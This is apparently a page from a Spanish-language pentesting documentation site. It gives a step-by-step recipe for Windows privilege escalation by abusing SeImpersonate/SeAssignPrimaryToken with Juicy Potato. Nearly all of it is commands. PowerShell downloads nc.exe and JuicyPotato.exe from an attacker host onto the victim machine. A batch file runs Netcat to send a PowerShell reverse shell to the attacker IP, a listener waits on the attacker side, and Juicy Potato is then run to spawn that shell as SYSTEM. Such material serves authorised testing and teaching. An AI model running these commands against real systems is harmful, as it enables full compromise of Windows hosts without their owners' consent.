> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/windows/seimpersonate-seassignprimarytoken.md).

# SeImpersonate / SeAssignPrimaryToken

Revisión de privilegios `SeImpersonate` o `SeAssignPrimaryToken`.

```
whoami /priv
```

Copiar Netcat y Juicy Potato a la máquina víctima.

* <https://github.com/ohpe/juicy-potato>

```bash
# Netcat
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/nc.exe" -OutFile "C:\<path>\nc.exe"
# Juicy Potato
powershell Invoke-WebRequest -Uri "http://<attacker-IP-address>:<port>/JuicyPotato.exe" -OutFile "C:\<path>\JuicyPotato.exe"
```

Creación de archivo batch (.bat) en máquina victima.

```sh
echo START C:\<path>\nc.exe -e powershell.exe <attacker-IP-address> <listen-port> > reverse-shell.bat
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de Juicy Potato en máquina victima.

```bash
# opción 1
JuicyPotato.exe -t * -p C:\<path>\reverse-shell.bat -l <listen-port>

# opción 2
JuicyPotato.exe -l 1337 -c "<4991d34b-80a1-4291-83b6-3328366b9097>" -p C:\Windows\System32\cmd.exe -a "/c C:\<path>\nc.exe -e cmd.exe <attacker-IP-address> <listen-port>" -t *
```